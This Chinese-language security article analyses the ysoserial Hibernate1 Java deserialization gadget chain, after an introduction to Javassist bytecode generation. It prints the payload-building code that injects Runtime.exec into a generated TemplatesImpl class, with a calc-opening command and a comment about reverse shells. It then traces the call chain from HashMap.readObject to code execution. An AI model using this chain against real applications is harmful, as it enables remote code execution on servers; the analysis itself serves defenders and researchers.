作者:天融信阿爾法實驗室
原文鏈接:https://mp.weixin.qq.com/s/O1ay4BHiyPBkotNIgDQ6Kg

Hibernate簡介

Hibernate是一個開放源代碼的對象關系映射框架,它對JDBC進行了非常輕量級的對象封裝,它將POJO與數據庫表建立映射關系,是一個全自動的orm框架,hibernate可以自動生成SQL語句,自動執行,使得Java程序員可以隨心所欲的使用對象編程思維來操縱數據庫。 Hibernate可以應用在任何使用JDBC的場合,既可以在Java的客戶端程序使用,也可以在Servlet/JSP的Web應用中使用,最具革命意義的是,Hibernate可以在應用EJB的JaveEE架構中取代CMP,完成數據持久化的重任。

Java動態字節碼生成

通過分析Hibernate1 payload 的構造過程 使用了Java的動態字節碼生成的技術,這里針對該技術來提前進行一下講解

什么是動態字節碼生成,相信大家聽字面意思也能大致有個概念,眾所周知java是編譯型語言,所有的.java文件最終都要編譯成.class后綴的字節碼形式。

那我們可不可以繞過.java直接操縱編譯好的字節碼呢?當然可以,java的反射機制就是在程序運行期去操縱字節碼從而獲得像方法名,屬性名,構造函數,等等并對其進行操作。

當然這個只是對已經編譯好的類來進行操作,我們可不可以在java運行期讓程序自動生成一個.class字節碼文件,其實說是生成,給我的感覺更多像是組裝一個.class文件

當然也是可以的,Java為我們提供了兩種方式。

  • ASM :直接操作字節碼指令,執行效率高,要是使用者掌握Java類字節碼文件格式及指令,對使用者的要求比較高。

  • Javassit: 提供了更高級的API,執行效率相對較差,但無需掌握字節碼指令的知識,對使用者要求較低。

javassit是一個第三方jar包我們可以通過maven以以下方式導入

   <dependency>
      <groupId>org.javassist</groupId>
      <artifactId>javassist</artifactId>
      <version>3.19.0-GA</version>
    </dependency>

Javassist是一個開源的分析、編輯和創建Java字節碼的類庫。是由東京工業大學的數學和計算機科學系的 Shigeru Chiba (千葉 滋)所創建的。它已加入了開放源代碼JBoss 應用服務器項目,通過使用Javassist對字節碼操作為JBoss實現動態AOP框架。javassist是jboss的一個子項目,其主要的優點,在于簡單,而且快速。直接使用java編碼的形式,而不需要了解虛擬機指令,就能動態改變類的結構,或者動態生成類。

Javassist中最為重要的是ClassPool,CtClass ,CtMethod 以及 CtField這幾個類。

  • ClassPool:一個基于HashMap實現的CtClass對象容器,其中鍵是類名稱,值是表示該類的CtClass對象。默認的ClassPool使用與底層JVM相同的類路徑,因此在某些情況下,可能需要向ClassPool添加類路徑或類字節。

  • CtClass:表示一個類,這些CtClass對象可以從ClassPool獲得。

  • CtMethods:表示類中的方法。

  • CtFields :表示類中的字段。

接下來通過代碼來進行演示

public class JavassisTest1 {
    public static void main(String[] args) {
        ClassPool pool = ClassPool.getDefault();
        Loader loader = new Loader(pool);
        CtClass ct = pool.makeClass("JavassistTestResult");//創建類
        ct.setInterfaces(new CtClass[]{pool.makeInterface("java.io.Serializable")});//讓該類實現Serializable接口
        try {
            CtField f= new CtField(CtClass.intType,"id",ct);//生成一個字段 類型為int 名字為id

            f.setModifiers(AccessFlag.PUBLIC);//將字段設置為public

            ct.addField(f);//將字段設置到類上

            CtConstructor constructor=CtNewConstructor.make("public GeneratedClass(int pId){this.id=pId;}",ct);//添加構造函數

            ct.addConstructor(constructor);

            CtMethod helloM=CtNewMethod.make("public void hello(String des){ System.out.println(des);}",ct);//添加方法

            ct.addMethod(helloM);

            ct.writeFile("/Users/IdeaProjects/Apache_ShardingSphere/Test5/target/classes/com/javassistTest/");//將生成的.class文件保存到磁盤

            Class c = loader.loadClass("JavassistTestResult");

            Constructor constructor1 = c.getDeclaredConstructor(int.class);

            Object object = constructor1.newInstance(1);

            System.out.println(1234);


        } catch (CannotCompileException e) {
            e.printStackTrace();
        } catch (IOException e) {
            e.printStackTrace();
        } catch (ClassNotFoundException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        }
    }
}

執行后的結果,可以看到在對應的目錄下生成了我們輸入的類名JavassistTestResult同名的class文件

我們看一看該class文件的源碼

可以看到該類的代碼與我們調用javassist所示所輸入的內容完全相同,該class文件就是我們通過調用javassist所提供的類與方法在運行時期動態生成的。

我們測試一下動態生成的類是否真的可用

public class JavassisTest3 {
    public static void main(String[] args) {
        try {
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath("/Users/IdeaProjects/Apache_ShardingSphere/Test5/target/classes/com/javassistTest");
            Loader loader = new Loader(pool);
            Class clazz = loader.loadClass("JavassistTestResult");

            Constructor constructor1 = clazz.getDeclaredConstructor(int.class);

            Object object = constructor1.newInstance(1);

            Class clazz1 = object.getClass();

            String className = clazz1.getName();

            Field field = clazz1.getField("id");

            String fieldName = field.getName();

            System.out.println("className: "+className+"\n"+"fieldName: "+fieldName);
        } catch (NotFoundException | ClassNotFoundException e) {
            e.printStackTrace();
        } catch (InstantiationException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (IllegalAccessException e) {
            e.printStackTrace();
        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        }
    }
}

以下是執行結果,可以確定我們動態生成的類是確實可用的。

以上就是對javassist這個動態字節碼生成技術的一些簡介。

Hibernate1 源碼深度解析

首先先看一下生成payload的最主要的一段代碼

挑一些比較關鍵的點進行講解,首先先看Gadgets.createTemplatesImpl()方法

以下是該方法的詳細實現代碼,我們來仔細觀察,首先是通過TemplatesImpl.class實例化了一個TemplatesImpl對象,緊接著就是用到了我們剛才講的動態字節碼生成javassist

  public static class StubTransletPayload extends AbstractTranslet implements Serializable {
/**此類為Gadget類的靜態內部類*/
        private static final long serialVersionUID = -5971610431559700674L;


        public void transform ( DOM document, SerializationHandler[] handlers ) throws TransletException {}


        @Override
        public void transform ( DOM document, DTMAxisIterator iterator, SerializationHandler handler ) throws TransletException {}
    } 

...............

public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
                throws Exception {
            final T templates = tplClass.newInstance();
            // use template gadget class
            ClassPool pool = ClassPool.getDefault();
            pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
            pool.insertClassPath(new ClassClassPath(abstTranslet));
            final CtClass clazz = pool.get(StubTransletPayload.class.getName());
            // run command in static initializer
            // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
            String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
                command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
                "\");";
            clazz.makeClassInitializer().insertAfter(cmd);
            /**此刻通過javassist對當前Gadget類的StubTransletPayload這個靜態內部類進行了修改
             * 在修改后的字節碼中加入了一個靜態代碼塊,
             * 代碼塊里的內容就是通過絕對路徑使用Runtime.exec來執行"open /Applications/Calculator.app" */
            // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
            clazz.setName("ysoserial.Pwner" + System.nanoTime());
            final byte[] classBytes = clazz.toBytecode();
            /**至此生成了一個以StubTransletPayload為模板切繼承了AbstractTranslet類的一個class所在包為ysoserial
             * ,該類的名字為Pwner加上一個隨機數,
             * 緊接著將其變為字節碼*/

            // inject class bytes into instance
            Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
                classBytes, ClassFiles.classAsBytes(Foo.class)
            });

            // required to make TemplatesImpl happy
            Reflections.setFieldValue(templates, "_name", "Pwnr");
            Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
            return templates; 
            /**此時的TemplatesImpl對象里的_bytecodes屬性,
             * 里面存放了兩個類的字節碼,一個是以實現了AbstractTranslet類的StubTransletPayload對象為模板用javassists生成的一個類對象,
             * 一個是只實現了了Serializable接口的Foo類對象,
             * 同時_tfactory屬性里存放了一個TransformerFactoryImpl對象*/
        }

我們先看一下最終生成的.class的一個結果,這個新生成的字節碼中有三個比較關鍵的點,首先是實現了Serializable接口,這點自不必多說,其次是繼承自AbstractTranslet類,這點很關鍵在后續執行惡意代碼時起關鍵作用,當然最最重要的就是這個手動加入的靜態代碼塊,我們都知道靜態代碼塊在類被加載的時候就會執行,整個類的生命周期中就只會執行一次。所以只需要將這個動態生成的類實例化的話就會自動執行Runtime.exec()函數 。接下來的操作就是將動態生成的類轉化成字節數組的形式賦值給之前已經實例化好的TemplatesImpl對象的\_bytecodes屬性。同時為TemplatesImpl對象的\_name\_tfactory屬性賦值。

package ysoserial;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.Serializable;

public class Pwner1587535724799618000 extends AbstractTranslet implements Serializable {
    private static final long serialVersionUID = -5971610431559700674L;

    public Pwner1587535724799618000() {
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
    }

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
    }

    static {
        Object var1 = null;
        Runtime.getRuntime().exec("open /Applications/Calculator.app");
    }
}

接下來的就是一系列針對惡意代碼的封裝操作,不是很難,但是特別繁瑣,所以我畫了一個腦圖來幫助大家進行理解。最終GetObject執行完成后封裝出來的結果是一個HashMap對象,對 沒有錯,這次反序列化的觸發點,就是我們最常用的HashMap。HashMap在被序列化然后反序列化的過程中,經過一系列的嵌套調用最終觸發了我們封存在TemplatesImpl對象的_bytecodes屬性中的那個動態生成類的靜態代塊。

首先通過腦圖觀察最后返回的HashMap有兩個屬性被賦了值,size屬性和table屬性。而table屬性里存放的是一個HashMap$Entry對象,我們都知道HashMap\$Entry對象其實就是一對鍵值對的映射,這個映射對象的key和value存儲的是同一個TypedValue對象,其實經過分析,value可以為任意值的。這個TypedValue類是存在org.hibernate.engine.spi包中的。

接下來我們進行調試分析

既然是使用jdk自帶的反序列化,那么自然會調用HashMap的readObject方法

這個段代碼里有兩個需要注意的點,首先是1128行的代碼mappings變量中存儲的就是我們之前為HashMap對象的size屬性所賦的值。下一個需要注意的點事1153行的for循環,此處是讀取出我們之前為HashMap\$Entry對象里的Key和Value

然后調用HashMap.putForCreate()方法將Key和Value傳遞進去。這里就牽扯到了之前生成HashMap對象時為何要為size屬性賦值,如果當初沒有為size屬性賦值,那么此時mappings變量就會為0,導致i<mappings判斷失敗,從而無法執行后續內容。

緊接著判斷Key是否為空,Key不為空所以執行HashMap.hash()方法來處理key

在第351行我們調用了之前封裝好的TypedValue對象的hashCode()方法

我們看到hashCode()方法里又調用了ValueHolder對象的getValue()方法。

可以看到hashcode變量的來歷,是TypedValue對象被反序列化時調用initTransients方法所賦值的,里面存儲的其實一個匿名內部類實例化的對象。

我們看一下valueInitializer變量的值.可以看到就是我們剛才所說的匿名內部類所實例化的對象。

自然而然接下來就是調用匿名內部類的initialize()方法。由于value的存儲著一個TypedValue對象所以執行type.getHashCode(), 通過腦圖可知type變量中存儲的是一個ComponentType對象,所以調用ComponentType.getHashCode()方法并將value變量傳入。

緊接著第242行調用getPropertyValue()方法。這里同理propertySpan是我們創建這個對象時通過反射賦的值,不能為0,如果為零則不會執行后續內容。

第414行調用PojoComponentTuplizer.getPropertyValue()方法。由于PojoComponentTuplizer類沒有該方法所以會調用其父類的getPropertyValue()方法

這里的gatter變量存儲的就是我們之前封裝好的Gatter數組根據腦圖可以看到該數組里存儲的是一個BasicPropertyAccessor\$BasicGetter對象。所以接下來調用BasicPropertyAccessor?\$BasicGetter.get()方法

我們觀察腦圖中的BasicPropertyAccessor\$BasicGetter里面的屬性信息。可以看到method變量是我們提前賦好了值得是TemplatesImpl.getOutputProperties()的method對象所以這里通過反射調用TemplatesImpl.getOutputProperties()方法

緊接著調用newTransformer()方法

觸發點就藏在getTransletInstance()這個回調函數中,

這里也說明了為什么一開始要為TemplatesImpl的\_name屬性賦一個值,因為如果不賦值的話,在第一個if判斷處就會直接返回null

最關鍵的就是第380行我們通過反射實例化了\_class這個Class數組對象中下標為0的Class對象,就最終觸發了我們的惡意代碼。

那這個Class數組對象中下標為0的Class對象究竟是什么?是不是我們之前封裝在TemplatesImpl的\_bytecode屬性中的那個通過javassist動態生成的類呢?這需要我們退一步去看上一步的defineTransletClasses()方法。

defineTransletClasses()方法內我們看到有這么一個for循環。其中defineClass可以從byte[]還原出一個Class對象,所以當下這個操作就是將\_bytecode[ ]中每一個byte[ ]都還原成Class后賦值給\_class[ ],又因為\_bytecode[ ]中下標為0的byte[ ]存儲的正是包含了惡意代碼的動態生成的類。所以\_class[0]就是其Class對象。而\_class[0].newInstance就是在實例化我們存有惡意代碼的類。自然就會觸發其靜態代碼塊中存放的Runtime.getRuntime().exec("open /Applications/Calculator.app");。至此ysoserial Hibernate1反序列化代碼執行原理分析完畢。

總結

整個Hibernate1的整體流程就是,首先使用HashMap來作為一個觸發點,接下來需要用到的是hibernate-core包中的TypedValue類,AbstractComponentTuplizer類,PojoComponentTuplizer類,BasicPropertyAccessor$BasicGetter類以及AbstractType類和ComponentType類。利用這類中的一些互相調用的方法,作為調用鏈。但是最終執行代碼的是com.sun.org.apache.xalan下的TemplatesImpl,因為我們所寫的惡意代碼最終是存儲在該類的\_bytecode屬性中。


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1187/